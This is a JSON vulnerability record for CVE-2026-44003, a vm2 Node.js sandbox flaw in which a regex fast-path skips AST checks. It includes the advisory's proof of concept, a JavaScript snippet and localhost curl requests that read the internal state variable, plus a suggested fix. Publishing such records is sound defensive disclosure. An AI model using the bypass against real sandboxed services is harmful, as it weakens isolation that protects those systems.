{"id":"CVE-2026-44003","aliases":["CLSA-2026-1787860907","EUVD-2026-30073","GHSA-2cm2-m3w5-gp2f","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","GHSA-wp5r-2gw5-m7q7","ROOT-APP-NPM-CVE-2026-44003"],"status":"published","title":"vm2: Transformer Fast-Path Bypass Exposes Internal State Variable","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00248,"percentile":0.16266,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-693"],"published":"2026-05-07T04:32:56Z","modified":"2026-11-05T22:15:04Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.0"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.10.5-aikido.6","3.9.17-aikido.13","3.9.17-aikido.9","3.9.17-aikido.10","3.10.5-aikido.7","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.10.5-root.io.5","3.9.17-root.io.11","3.9.17-root.io.12","3.10.5-root.io.6","3.9.17-root.io.13","3.9.17-root.io.9","3.9.17-root.io.10","3.10.5-root.io.7","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.10.5"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.10.5-aikido.6"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.5-root.io.5"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.10.5-root.io.6"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44003","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2/commit/9f0484862b74be3584169db282236a47f418ddbb","tags":["web"]},{"url":"https://github.com/advisories/GHSA-wp5r-2gw5-m7q7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44003.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44003","title":"vm2: Transformer Fast-Path Bypass Exposes Internal State Variable","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:30:38.883Z","modified":"2026-05-13T18:41:25.611Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T13:43:00.288193Z"}],"euvd":[{"id":"EUVD-2026-30073","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:30:38Z","modified":"2026-05-13T18:41:25Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T19:04:33.260537Z"}],"ghsa":[{"id":"GHSA-wp5r-2gw5-m7q7","title":"vm2's Transformer Fast-Path Bypass Exposes Internal State Variable","description":"### Summary\nvm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).\n\n### Details\nIn `lib/transformer.js:55-57`, a regex check `/\\b(?:catch|import|async)\\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.\n\nWhen the fast-path is taken:\n1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs\n2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation\n3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`\n\nWhile these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Access internal state (bypassed — no catch/import/async keywords)\nconst result = vm.run(`\n  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n  Object.keys(x).join(\",\")\n`);\nconsole.log(result); // \"wrapWith,handleException,import\"\n\n// Control test — blocked when catch keyword is present\ntry {\n  vm.run(`\n    try {\n      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n    } catch(e) { e.message }\n  `);\n} catch(e) {\n  console.log(e.message); // \"Use of internal vm2 state variable\"\n}\n```\n\n**HTTP demonstration:**\n```bash\n# Internal state access (bypassed)\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\\\",\\\")\"}'\n# Result: \"wrapWith,handleException,import\"\n\n# Control test — blocked when catch keyword is present\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }\"}'\n# Result: {\"errors\":[\"Use of internal vm2 state variable\"]}\n```\n\n**Suggested fix:**\n```javascript\n// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check\nif (!/\\b(?:catch|import|async|with)\\b/.test(code) \u0026\u0026 code.indexOf(INTERNAL_STATE_NAME) === -1) {\n    return {__proto__: null, code, hasAsync: false};\n}\n```\n\n### Impact\n- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.\n- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.\n- **Scope**: All applications using vm2. No special configuration required.","status":"published","published":"2026-05-07T04:32:56Z","modified":"2026-11-05T22:09:25Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-693"],"updated_at":"2026-11-05T22:26:41.489035Z"}],"nvd":[{"id":"CVE-2026-44003","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T18:16:16.997Z","modified":"2026-10-26T17:10:03.27Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-44003","title":"vm2: Transformer Fast-Path Bypass Exposes Internal State Variable","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:30:38.883Z","modified":"2026-10-28T02:30:58.476469283Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"GHSA-wp5r-2gw5-m7q7","title":"vm2's Transformer Fast-Path Bypass Exposes Internal State Variable","description":"### Summary\nvm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).\n\n### Details\nIn `lib/transformer.js:55-57`, a regex check `/\\b(?:catch|import|async)\\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.\n\nWhen the fast-path is taken:\n1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs\n2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation\n3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`\n\nWhile these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Access internal state (bypassed — no catch/import/async keywords)\nconst result = vm.run(`\n  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n  Object.keys(x).join(\",\")\n`);\nconsole.log(result); // \"wrapWith,handleException,import\"\n\n// Control test — blocked when catch keyword is present\ntry {\n  vm.run(`\n    try {\n      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n    } catch(e) { e.message }\n  `);\n} catch(e) {\n  console.log(e.message); // \"Use of internal vm2 state variable\"\n}\n```\n\n**HTTP demonstration:**\n```bash\n# Internal state access (bypassed)\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\\\",\\\")\"}'\n# Result: \"wrapWith,handleException,import\"\n\n# Control test — blocked when catch keyword is present\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }\"}'\n# Result: {\"errors\":[\"Use of internal vm2 state variable\"]}\n```\n\n**Suggested fix:**\n```javascript\n// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check\nif (!/\\b(?:catch|import|async|with)\\b/.test(code) \u0026\u0026 code.indexOf(INTERNAL_STATE_NAME) === -1) {\n    return {__proto__: null, code, hasAsync: false};\n}\n```\n\n### Impact\n- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.\n- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.\n- **Scope**: All applications using vm2. No special configuration required.","status":"published","published":"2026-05-07T04:32:56Z","modified":"2026-11-05T22:15:04.088103265Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-693"],"updated_at":"2026-11-05T22:31:35.490871Z"},{"id":"ROOT-APP-NPM-CVE-2026-44003","title":"CVE-2026-44003 in vm2 - Patched by Root","description":"Root has patched CVE-2026-44003 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:22.745106041Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}